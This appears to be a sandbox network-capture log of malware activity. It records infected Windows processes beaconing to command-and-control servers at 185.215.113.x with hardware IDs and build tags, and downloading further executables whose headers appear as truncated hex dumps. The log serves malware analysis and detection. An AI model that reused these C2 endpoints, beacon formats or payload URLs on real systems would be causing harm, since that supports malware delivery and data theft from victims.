name="build"doma------AKEGDHJDHDAFHJJKJEHC--
Oct 18, 2024 15:04:37.838202000 CEST	210	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:04:37 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49956	185.215.113.16	80	5436	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 18, 2024 15:04:36.679606915 CEST	52	OUT	GET /test/num.exe HTTP/1.1 Host: 185.215.113.16
Oct 18, 2024 15:04:37.609318018 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 18 Oct 2024 13:04:37 GMT Content-Type: application/octet-stream Content-Length: 314368 Last-Modified: Sun, 29 Sep 2024 08:19:54 GMT Connection: keep-alive ETag: "66f90daa-4cc00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 f0 69 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 10 26 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$CXmYpy`\nRichPELJf$i@&@(<%$.text .rdata@@.data#@.relocE%F@B
Oct 18, 2024 15:04:37.609337091 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 dc 41 00 00 00 00 00 00 00 00 00 81 ce 41 00 ea ce 41 00 00 00 00 Data Ascii: `AAAUQEE}tMUUEEE]UEExMUMMM]UQSjh0hAj(dE
Oct 18, 2024 15:04:37.609375000 CEST	1236	IN	Data Raw: 8b 8d 10 fc ff ff 51 83 ec 0c 8b cc 8d 95 04 fc ff ff 52 e8 eb 92 01 00 81 ec 88 00 00 00 8b cc 8d 45 08 50 e8 ca 00 00 00 8d 8d a4 fb ff ff 51 e8 be 3c 01 00 81 c4 a0 00 00 00 8d 8d a4 fb ff ff e8 1d 93 01 00 8d 8d f8 fb ff ff e8 e2 95 01 00 50 Data Ascii: QREPQ<Pd@5jjRAM]UQMM\|MHM<M0}MO]
Oct 18, 2024 15:04:37.609391928 CEST	1236	IN	Data Raw: ff 51 ff 15 9c a8 64 00 85 c0 74 16 68 04 53 42 00 8d 95 cc fe ff ff 52 ff 15 9c a8 64 00 85 c0 75 05 e9 7d 04 00 00 68 1f 0e 42 00 8d 8d 94 fe ff ff e8 98 8d 01 00 83 7d 30 00 0f 84 e6 00 00 00 8d 45 24 50 8d 8d 6c fd ff ff 51 68 fc 54 42 00 8d Data Ascii: QdthSBRdu}hB}0E$PlQhTBxRPQhTTBREPQhSBREPQ}PZlx
Oct 18, 2024 15:04:37.609407902 CEST	1236	IN	Data Raw: 8b 01 00 8d 4d f4 e8 b0 89 01 00 8d 4d e8 e8 a8 89 01 00 8d 4d 08 e8 a0 89 01 00 8d 4d 18 e8 98 89 01 00 8d 4d 24 e8 90 89 01 00 8d 4d 34 e8 d8 f6 ff ff 8b e5 5d c3 cc cc cc cc 55 8b ec 83 ec 18 c7 45 fc 00 00 00 00 eb 09 8b 45 fc 83 c0 01 89 45 Data Ascii: MMMMM$M4]UEEEM;UREk,T(REk,TREk,PMk,DPMk,DPyX
Oct 18, 2024 15:04:37.609424114 CEST	1236	IN	Data Raw: 68 0c 1c 42 00 e8 9d 22 00 00 83 c4 0c a3 c8 a5 64 00 6a 0a 68 18 1c 42 00 68 24 1c 42 00 e8 84 22 00 00 83 c4 0c a3 44 a6 64 00 6a 0c 68 30 1c 42 00 68 40 1c 42 00 e8 6b 22 00 00 83 c4 0c a3 64 a2 64 00 6a 0b 68 50 1c 42 00 68 5c 1c 42 00 e8 52 Data Ascii: hB"djhBh$B"Ddjh0Bh@Bk"ddjhPBh\BR"PdjhhBhpB9"djhxBhB "djhBhB"<djhBhB!djhBhB!HdjhBhB!d
Oct 18, 2024 15:04:37.609457970 CEST	1236	IN	Data Raw: 42 00 68 b8 20 42 00 e8 c7 1d 00 00 83 c4 0c a3 30 a2 64 00 6a 17 68 c0 20 42 00 68 d8 20 42 00 e8 ae 1d 00 00 83 c4 0c a3 8c a5 64 00 6a 12 68 f0 20 42 00 68 04 21 42 00 e8 95 1d 00 00 83 c4 0c a3 c4 a1 64 00 6a 0a 68 18 21 42 00 68 24 21 42 00 Data Ascii: Bh B0djh Bh Bdjh Bh!Bdjh!Bh$!B\|xdjh0!Bh<!BcdjhH!BhT!BJ4djh`!Bhl!B1djhx!Bh!Bdjh!Bh!BLdjh!Bh!B
Oct 18, 2024 15:04:37.609473944 CEST	784	IN	Data Raw: 00 83 c4 0c a3 0c a2 64 00 6a 09 68 10 27 42 00 68 1c 27 42 00 e8 e5 18 00 00 83 c4 0c a3 20 a2 64 00 6a 0c 68 28 27 42 00 68 38 27 42 00 e8 cc 18 00 00 83 c4 0c a3 a8 a4 64 00 6a 16 68 48 27 42 00 68 60 27 42 00 e8 b3 18 00 00 83 c4 0c a3 60 a2 Data Ascii: djh'Bh'B djh('Bh8'BdjhH'Bh`'B`djhx'Bh'Bdjh'Bh'Bdjh'Bh'Bhdjh'Bh'BOdjh'Bh(B6djh((Bh@(BtdjhX(Bht
Oct 18, 2024 15:04:37.609489918 CEST	1236	IN	Data Raw: 6a 13 68 b0 2b 42 00 68 c4 2b 42 00 e8 de 15 00 00 83 c4 0c a3 60 a4 64 00 6a 15 68 d8 2b 42 00 68 f0 2b 42 00 e8 c5 15 00 00 83 c4 0c a3 04 a5 64 00 6a 0a 68 08 2c 42 00 68 14 2c 42 00 e8 ac 15 00 00 83 c4 0c a3 2c a5 64 00 6a 09 68 20 2c 42 00 Data Ascii: jh+Bh+B`djh+Bh+Bdjh,Bh,B,djh ,Bh,,Bdjh8,BhL,Bzxdjh`,Bhp,Badjh,Bh,BH\|djh,Bh,B/djh,Bh,B@djh,Bh,B
Oct 18, 2024 15:04:37.609507084 CEST	1236	IN	Data Raw: 00 e8 15 11 00 00 83 c4 0c a3 7c a3 64 00 6a 09 68 d8 32 42 00 68 e4 32 42 00 e8 fc 10 00 00 83 c4 0c a3 24 a1 64 00 6a 05 68 f0 32 42 00 68 f8 32 42 00 e8 e3 10 00 00 83 c4 0c a3 5c a1 64 00 6a 07 68 00 33 42 00 68 08 33 42 00 e8 ca 10 00 00 83 Data Ascii: \|djh2Bh2B$djh2Bh2B\djh3Bh3Bdjh3Bh3Bdjh(3Bh03BPdjh83Bh@3BldjhH3BhP3Bf(djhX3Bh`3BMpdjhh3Bhp3B4djthx
Oct 18, 2024 15:04:37.614612103 CEST	1236	IN	Data Raw: a2 64 00 6a 06 68 70 3a 42 00 68 78 3a 42 00 e8 33 0c 00 00 83 c4 0c a3 ac a2 64 00 6a 05 68 80 3a 42 00 68 88 3a 42 00 e8 1a 0c 00 00 83 c4 0c a3 1c a4 64 00 6a 07 68 90 3a 42 00 68 98 3a 42 00 e8 01 0c 00 00 83 c4 0c a3 84 a5 64 00 6a 07 68 a0 Data Ascii: djhp:Bhx:B3djh:Bh:Bdjh:Bh:Bdjh:Bh:Bdjh:Bh:Bdj,h:Bh;Bdjh0;Bh<;B4djhH;BhL;BdjhP;BhT;BktdjhX;Bhl;BR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49977	185.215.113.43	80	5436	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 18, 2024 15:04:40.802550077 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 34 30 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000401001&unit=246122658369
Oct 18, 2024 15:04:41.634968996 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 18 Oct 2024 13:04:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49988	185.215.113.37	80	4144	C:\Users\user\AppData\Local\Temp\1000401001\num.exe

Timestamp	Bytes transferred	Direction	Data
Oct 18, 2024 15:04:42.205260992 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 18, 2024 15:04:43.126228094 CEST	203	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:04:42 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 18, 2024 15:04:43.147583961 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHIDBKFCAAEBFIDHDBAE Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 49 44 42 4b 46 43 41 41 45 42 46 49 44 48 44 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 42 34 33 42 33 45 37 35 41 39 43 32 35 34 35 34 36 36 32 37 36 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 44 42 4b 46 43 41 41 45 42 46 49 44 48 44 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 44 42 4b 46 43 41 41 45 42 46 49 44 48 44 42 41 45 2d 2d 0d 0a Data Ascii: ------FHIDBKFCAAEBFIDHDBAEContent-Disposition: form-data; name="hwid"AB43B3E75A9C2545466276------FHIDBKFCAAEBFIDHDBAEContent-Disposition: form-data; name="build"doma------FHIDBKFCAAEBFIDHDBAE--
Oct 18, 2024 15:04:43.455595016 CEST	210	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:04:43 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49994	185.215.113.43	80	5436	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 18, 2024 15:04:43.573604107 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 18, 2024 15:04:44.305114031 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 18 Oct 2024 13:04:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	50008	185.215.113.43	80	5436	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 18, 2024 15:04:45.815325022 CEST	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 42 37 34 42 30 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12B74B05F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 18, 2024 15:04:46.725022078 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 18 Oct 2024 13:04:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	50025	185.215.113.43	80	5436	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 18, 2024 15:04:48.364489079 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 18, 2024 15:04:49.270159006 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 18 Oct 2024 13:04:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	50038	185.215.113.43	80	5436	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 18, 2024 15:04:50.803745031 CEST	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 42 37 34 42 30 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12B74B05F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 18, 2024 15:04:51.786320925 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 18 Oct 2024 13:04:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	50042	185.215.113.103	80	1168	C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe

Timestamp	Bytes transferred	Direction	Data
Oct 18, 2024 15:04:53.170483112 CEST	206	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.103
Oct 18, 2024 15:04:54.085514069 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:04:53 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Fri, 18 Oct 2024 12:50:16 GMT ETag: "1cb800-624bfbeaba684" Accept-Ranges: bytes Content-Length: 1882112 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 50 6b 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 80 6b 00 00 04 00 00 6d 97 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$CXmYpy`\nRichPELJf$Pk@km@P%d% %(@.rsrc %8@.idata %8@ +%:@nsvghvat`PV<@rciruuiw@k@.taggant0Pk"@
Oct 18, 2024 15:04:54.085537910 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 18, 2024 15:04:54.085550070 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 18, 2024 15:04:54.085716009 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 18, 2024 15:04:54.085737944 CEST	1236	IN	Data Raw: 60 0c 97 a2 64 d3 85 56 22 0d 7b 86 e4 6f 0a c1 64 e4 23 ca 0c ee 57 76 92 47 b8 7f 9d bf c9 b9 5c a8 bc 86 21 ba b7 0f 88 33 3f e3 f3 cb 8a 3c d8 50 7f ad 4b 26 a7 85 8c a8 ff 9f 86 24 91 d8 90 b4 87 ab 51 79 e1 94 8d d6 3f c3 3e cf de f1 32 f8 Data Ascii: `dV"{od#WvG\!3?<PK&$Qy?>2x`YK&t]D3[wGTZK+b:1/(RaG=3N^d?NDP&W`PA\)YQ4uNf'DMV
Oct 18, 2024 15:04:54.085751057 CEST	1236	IN	Data Raw: 86 58 af bf 8d ae f2 55 23 26 9a 3f 1a 48 59 0e 13 4c eb 3e 38 46 bb d0 78 af 52 ff 8c ba aa 06 b9 f4 f7 23 28 cc 8b 5c d8 84 ab 87 eb b3 a5 af 36 c8 55 5e 4c ef a3 55 8d 00 73 bd 3e 46 ba 10 39 c3 c6 b3 d7 ce 89 df 85 9e 8b f1 5f 16 8e e4 00 33 Data Ascii: XU#&?HYL>8FxR#(\6U^LUs>F9_3?(Xg2%)br%J1(`G^edSukDGd;?^m(X[7H7IhB'7xNXe3}V<@EaQ@
Oct 18, 2024 15:04:54.085762978 CEST	872	IN	Data Raw: a0 d4 41 cb 15 cc cb 02 cd a0 b7 a0 24 ed 76 88 2f be 85 8c b3 f5 33 ce 51 9c 2b e1 10 12 63 da 60 0c 7a d7 50 c2 a4 9d 86 4d 43 df 2f c3 99 84 0d 2d 94 44 2e c7 80 4c 0e 14 93 2a e2 fe d6 4a 13 dd 37 1f 61 cb 99 8c 0d e7 94 5f 9d c8 8a fe 3e d2 Data Ascii: A$v/3Q+c`zPMC/-D.L*J7a_>]$DW)^~2>,^d\|RjejJ^$xhD-.O/.'\|yAKW?~g
Oct 18, 2024 15:04:54.085777044 CEST	1236	IN	Data Raw: 85 b0 bb 84 6d e8 1b 8d 16 7d 0f a5 99 ef 9b dc 1f ad 8d 8a 60 46 93 10 1d d5 b9 da 1f 94 35 58 7b 46 f7 93 0c 4c ff 39 e1 d0 9c 1a 96 e6 fb fb 15 62 93 92 e1 0e f4 42 81 d5 53 9d 89 f4 27 20 8e 4c 0b 6b 16 3a bb a5 70 4a d1 ce 2d 5b 9f a5 0e f4 Data Ascii: m}`F5X{FL9bBS' Lk:pJ-[W.HX;@t,'ygnKj[O?{m&zD`vJ>,\|D&@ \| @BAh-RH.#
Oct 18, 2024 15:04:54.085789919 CEST	1236	IN	Data Raw: 11 4c 90 9b 94 cd 78 3e 81 61 a9 1a 0e 64 80 3f 08 d4 67 16 6e d0 27 94 1d 7c 88 49 d9 8f 17 ad 09 8c 05 94 04 f7 08 31 c6 54 27 50 2d f7 00 b7 3e d5 14 b4 30 fe f4 7d 3e 4c 7b 93 48 de fb b2 bc 5e fd bc 4c dd cb 8b 67 85 eb e0 23 0c cf 93 68 40 Data Ascii: Lx>ad?gn'\|I1T'P->0}>L{H^Lg#h@*M3<M3h!->>8hD7xTOo1d3FKC_WUJ(my_QxK"H>DX\j@&
Oct 18, 2024 15:04:54.085803986 CEST	1236	IN	Data Raw: 0d cd 42 17 2e 72 c7 bc 15 18 88 72 bf ec 2b 1d a3 52 5a bd 15 4c 88 59 19 ac 0a 8e 8c 08 07 94 1f 82 01 d3 a0 52 3b c7 20 c4 90 27 df d0 1c 94 d4 c4 57 ff 43 50 9d ea 6d 81 5f 83 15 b0 bb f5 73 95 aa d8 7e 09 9e 82 54 50 d9 93 c5 88 28 50 0d fe Data Ascii: B.rr+RZLYR; 'WCPm_s~TP(Pj<C.<4s\^I%(\|7H1G&~8&M3]lzG6;~5>3'd,AB4&N[Wm8]_;7VQY
Oct 18, 2024 15:04:54.090562105 CEST	1236	IN	Data Raw: 00 7c ff 2e f1 58 d0 da fe a6 00 06 4a 94 c8 43 f0 63 7b ed c0 fe c3 a9 ac 70 8d 92 70 d1 7c 9c 49 ac 36 83 0c 98 98 c6 34 8d cf aa 0c 07 58 ea 88 56 eb 8c 39 24 55 46 2b e4 92 c1 2e 01 53 6c a5 02 21 ff 12 e5 0c d5 87 7e f0 d3 0d 64 7f 48 58 14 Data Ascii: \|.XJCc{pp\|I64XV9$UF+.Sl!~dHXks6p(t:Un3#9NZ{[vAhlPoPYO#{(eBAceE$r*}{2gGrJZmDb}
Oct 18, 2024 15:04:57.261957884 CEST	205	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.103
Oct 18, 2024 15:04:57.542367935 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:04:57 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Fri, 18 Oct 2024 12:50:23 GMT ETag: "1c7c00-624bfbf1b199a" Accept-Ranges: bytes Content-Length: 1866752 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 00 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfJ@0J@WkII @.rsrc@.idata @ )@mjkoefrk`0`@ikspwnpiIT@.taggant0J"Z@
Oct 18, 2024 15:04:59.093266964 CEST	205	OUT	GET /well/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.103
Oct 18, 2024 15:04:59.586225986 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:04:59 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Fri, 18 Oct 2024 12:09:55 GMT ETag: "e1400-624bf2e602712" Accept-Ranges: bytes Content-Length: 922624 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 